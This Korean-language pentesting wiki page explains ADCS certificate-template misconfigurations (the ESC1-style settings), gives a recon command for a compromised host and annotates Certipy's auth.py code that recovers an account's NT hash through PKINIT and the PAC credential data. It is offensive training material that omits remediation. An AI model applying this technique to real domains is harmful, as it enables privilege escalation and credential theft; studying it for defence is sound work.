ADCS

Active Directory에서는 크게 3가지의 인증 방식을 사용합니다.

Kerberos
NTLM
ADCS

ADCS는 AD에서 Microsoft의 인증 기관(CA) 역할을 하는 서버입니다. 이는 공개키 암호화, 디지털 인증서 발급 및 관리, 사용자 인증 등의 기능을 제공합니다. ADCS에서 비롯되는 여러가지 취약점들은 모두 관리자가 ADCS의 속성 값을 잘못 설정할 경우 발생되는 취약점이므로 이 취약점들에 대해서 본격적으로 배우기 전, 어떤 속성들이 어떤 의미를 갖고 어떻게 설정할 수 있는지에 대해서 GUI와 설명으로 배울 필요가 있습니다.

다만 어떤 속성이 어떠한 성질을 가진다는 것은 본 페이지에서 다루며 취약점에 대한 개별적 페이지에서는 어떤 속성의 어떤 값이 만족할 때 취약점이 발생한다고 다루기 때문에 별도로 보안조치 사항에 대해서는 다루지 않습니다.

먼저 침투한 서버에 CA 서버가 존재하는지(ADCS를 사용하는지) 탐색은 아래의 파워쉘 명령어로 할 수 있습니다.

PowerShell # net localgroup "Cert Publishers"

Attribute Description

Enrollee Supplies Subject

인증서 요청자가 인증서의 주체를 직접 선택할 수 있도록 하는 설정입니다. 예를 들어서 wiki라는 사용자가 인증서 생성을 요청할 때, 자동으로 해당 인증서의 주체가 wiki가 되어야 하지만 이 설정이 True로 되어있으면 wiki 사용자가 pentesting이라는 다른 사용자를 주체로 하는 인증서 생성 요청이 가능합니다. 이러한 매커니즘을 악용하여 공격자는 본인이 소속된 낮은 권한의 일반 사용자로 도메인 관리자를 주체로 하는 인증서 생성 요청이 가능합니다.

ADCS 설정에서는 Supply in the request 설정이 기본적으로 비활성화 되어있고 기존의 설정에서 이 설정으로 변경하는 것이 허용되지 않습니다. 하지만 템플릿을 새로 생성하거나 기존의 템플릿을 복제할 경우 사진과 같이 설정을 변경할 수 있으며, 변경 시 보안 경고창이 나타납니다.

Requires Manager Approval

인증서 요청에 대해 관리자의 승인을 요구하는 기능입니다. 이 옵션이 False로 되어있으면 관리자의 승인이나 검토가 없이도 인증서 발급이 될 수 있어 Enrollee Supplies Subject 속성의 True 값을 이용하여 공격자가 Administrator 계정에 대한 인증서를 요청할 때, 그 인증서에 대한 검토 및 승인 과정을 건너뛰어 승인시킬 수 있습니다. 이 옵션은 기본적으로 비활성 상태이기 때문에 따로 설정할 필요는 없습니다. 하지만 옵션을 활성화 했다가 비활성화로 변경할 경우 보안 경고창이 출력됩니다.

Authorized Signatures Required

인증서 요청이 최종 승인되기 전에 필요한 서명자를 요구하는 속성입니다. 이 속성이 0으로 설정되어 있으면 비활성화 된 것으로 최종 승인 시 요구되는 서명자가 없기 때문에 앞서 언급된 설정들과 연계하면 Administrator과 같은 높은 권한의 주체에 대한 인증서 발급이 가능합니다. 이 설정 역시 기본적으로 비활성 상태입니다.

Enrollment Rights

인증서 템플릿에 대한 등록 권한을 제어하는 속성으로 특정 사용자나 그룹이 해당 템플릿을 사용하여 인증서를 요청할 수 있는지를 결정합니다. 템플릿 제어에 대해서 허가된 사용자가 도메인 전체 사용자 혹은 공격자가 권한 획득에 성공한 사용자라면 높은 권한의 인증서를 요청할 수 있습니다. 즉 해당 설정이 존재해야지 ESC1 공격의 첫 발판인 인증서 생성 요청이 가능합니다. 위 사진과 같이 Domain Users를 그룹에 추가해주고 Request Certificates 항목을 Allow 할 경우 도메인 유저도 인증서 생성 요청이 가능하게 됩니다.

Any Purpose

Any Purpose 속성이 설정된 템플릿을 통해 생성된 인증서는 여러 용도로 활용할 수 있게 됩니다. 예를 들어 일반적인 인증서의 목적은 다음과 같이 특정 목적을 가지지만 이속성을 가진 인증서는 특정 목적에 제한되지 않고 여러 용도로 사용이 됩니다.

속성

목적

Digital Signature

인증서가 디지털 서명에 사용될 수 있도록 설정

Non-Repudiation

인증서가 부인 방지에 사용될 수 있도록 설정

Key Encipherment

인증서가 키 암호화에 사용될 수 있도록 설정

Data Encipherment

인증서가 데이터 암호화에 사용될 수 있도록 설정

Certificate Signing

인증서가 다른 인증서를 서명하는 데 사용될 수 있도록 설정

Application Policies

이 속성은 인증서가 발급된 목적을 나타내는 용도로 사용됩니다. 만약 이 속성이 템플릿에 적용되어 있을 경우, 해당 템플릿을 통해 생성한 인증서의 사용 목적을 정하는데 사용됩니다. 다음은 주로 사용되는 속성값과 OID입니다.

속성값

OID

설명

Server Authentication

1.3.6.1.5.5.7.3.1

서버가 클라이언트에게 자신의 신원을 인증할 때 사용

Client Authentication

1.3.6.1.5.5.7.3.2

클라이언트가 서버와 연결을 수립할 때 사용

Certificate Request Agent

1.3.6.1.4.1.311.20.2.3

인증서 요청을 대리할 수 있는 에이전트 인증서에 사용

ManageCA

ManagaCA 속성에 대해 Allow가 되어있는 사용자, 그룹은 CA의 사용자 권한을 관리할 수 있습니다. 이 권한을 통해 다른 사용자 혹은 본인에게 다른 속성도 할당할 수 있습니다.

Issue and Manage Certificates

이 권한을 가진 사용자/그룹은 다음의 활동 등을 할 수 있습니다.

인증서 요청 승인 및 거부
인증서 발급
인증서 템플릿 관리 및 수정
인증서 철회
CA 서버에서 인증서 관련 설정 및 관리

이 권한이 할당된 사용자 계정으로는 서버에서 Requires Manager Approval 속성을 설정했을 때 관리자의 승인을 받아야 하는 인증서 목록을 확인하고 승인/거부를 할 수 있습니다.

EKU

Extended Key Usage는 인증서의 확장 키 사용 필드로, 해당 인증서의 구체적 용도를 지정합니다. 이것의 목적은 사전에 정의한 인증서의 구체적 용도에 맞게 인증서를 사용하여 악의적인 목적의 인증서 발급/사용을 제한하는 것에 있습니다. Any Purpose와는 정반대 개념의 속성입니다.

How to get NT Hash

TGT 데이터는 KDC의 비밀키로 암호화가 되어있고, 이 메시지는 주체의 NT Hash로 암호화가 되어있는데 Administrator 주체로 TGT 발급은 이해가 쉽지만 TGT로부터 주체의 NT Hash를 가져오는 과정은 이해하기가 쉽지 않습니다. 본 페이지에서는 certipy-ad의 auth와 관련된 스크립트를 통해 어떻게 NT Hash를 덤핑할 수 있는지 분석해봅니다.

https://raw.githubusercontent.com/ly4k/Certipy/refs/heads/main/certipy/commands/auth.pyraw.githubusercontent.com

1. AS-REQ & AS-REP

def kerberos_authentication(
    self,
    username: str = None,
    domain: str = None,
    is_key_credential: bool = False,
    id_type: str = None,
    identification: str = None,
    object_sid: str = None,
    upn: str = None,
) -> Union[str, bool]:
    as_req, diffie = build_pkinit_as_req(username, domain, self.key, self.cert)
    logging.info("Trying to get TGT...")
    tgt = sendReceive(as_req, domain, self.target.target_ip)
    logging.info("Got TGT")
    as_rep = decoder.decode(tgt, asn1Spec=AS_REP())[0]

certipy-ad auth에서는 입력된 정보들을 토대로 KDC로 전송할 AS-REQ를 생성합니다.

2. Exchange Public Key

ci = cms.ContentInfo.load(pk_as_rep["dhSignedData"]).native
sd = ci["content"]
key_info = sd["encap_content_info"]

auth_data = KDCDHKeyInfo.load(key_info["content"]).native
pub_key = int(
    "".join(["1"] + [str(x) for x in auth_data["subjectPublicKey"]]), 2
)
pub_key = int.from_bytes(
    core.BitString(auth_data["subjectPublicKey"]).dump()[7:],
    "big",
    signed=False,
)
shared_key = diffie.exchange(pub_key)

수신된 REP로부터 디피헬만 알고리즘으로 서명된 데이터 필드를 가져옵니다. 해당 데이터의 내용에서 encap_content_info는 공개키에 관련된 정보가 있습니다. 파싱한 공개키를 정수 형태로 변환합니다. 공개키를 가지고 서버와 키 교환을 통해 비밀키를 계산할 수 있습니다.

3. Dump Secret Key

server_nonce = pk_as_rep["serverDHNonce"]
full_key = shared_key + diffie.dh_nonce + server_nonce

etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
    t_key = truncate_key(full_key, 32)
elif etype == Enctype.AES128:
    t_key = truncate_key(full_key, 16)
else:
    logging.error("Unexpected encryption type in AS_REP")
    return False

key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
dec_data = cipher.decrypt(key, 3, enc_data)
enc_as_rep_part = decoder.decode(dec_data, asn1Spec=EncASRepPart())[0]

cipher = _enctype_table[int(enc_as_rep_part["key"]["keytype"])]
session_key = Key(cipher.enctype, bytes(enc_as_rep_part["key"]["keyvalue"]))

서버 응답으로부터 넌스값을 가져오고 본인의 넌스값을 통해 full_key를 생성합니다. AS_REP을 통해 암호화 알고리즘을 파악하고 각 알고리즘에 맞게 키 바이트 단위를 지정합니다. Kerberos 인증에서 TGT를 발급할 때, AS-REP에는 TGT 외에도 다른 정보도 함께 전송됩니다.

TGT 정보 자체는 krbtgt의 NT Hash로 암호화가 되어있지만, 같이 오는 정보는 발급 주체의 NT Hash로 암호화가 되어 있습니다. 그런데 현재는 디피 헬만 알고리즘을 통해 생성한 공개키 알고리즘을 사용하므로 AS-REP의 enc-part의 etype으로부터 가져온 알고리즘에 맞게 자른 key(비밀키)로 복호화가 가능합니다.

4. Get NT Hash

일반적인 ST 발급 매커니즘에선 ST가 Service Admin의 NT Hash로 암호화 되지만 S4U2self를 통해 발급된 ST는 사용자의 세션 키로 암호화가 됩니다. S4U는 Alice가 Alice에 대한 요청도 가능하기 때문에, 앞선 과정인 디피 헬만 키교환 알고리즘을 통해 생성한 비밀키로 ST를 복호화 할 수 있습니다.

ST 정보 속에 포함되는 PAC의 구조 속에는 PAC_CREDENTIAL_INFO 안에 NTLM_SUPPLEMENTAL_CREDENTIAL 이라는 데이터로 NT Hash에 대한 정보가 있습니다. 그래서 수신된 데이터로부터 먼저 PAC_CREDENTIAL_INFO 정보를 파싱합니다.

cred_info = PAC_CREDENTIAL_INFO(data)

cerd_info에는 파싱한 데이터가 담겨있는데, PAC_CREDENTIAL_INFO 데이터의 구조체는 다음과 같이 구성되어 있습니다.

암호화 알고리즘을 알아내기 위하여 EncryptionType와 암호화된 Credential 정보를 직렬화한 데이터인 SerializedData를 파싱합니다.

new_cipher = _enctype_table[cred_info["EncryptionType"]]
out = new_cipher.decrypt(special_key, 16, cred_info["SerializedData"])
type1 = TypeSerialization1(out)
new_data = out[len(type1) + 4 :]
pcc = PAC_CREDENTIAL_DATA(new_data)

구조체로 변환한 데이터는 PAC_CREDENTIAL_DATA 정보로 이 데이터 구조체 안에는 사용자의 자격증명 정보를 Credentials로 저장합니다. 변수로 저장한 pcc로부터 NT Hash 정보를 추출할 수 있습니다.

for cred in pcc["Credentials"]:
    cred_structs = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
    if any(cred_structs["LmPassword"]):
        lm_hash = cred_structs["LmPassword"].hex()
    nt_hash = cred_structs["NtPassword"].hex()
    break
break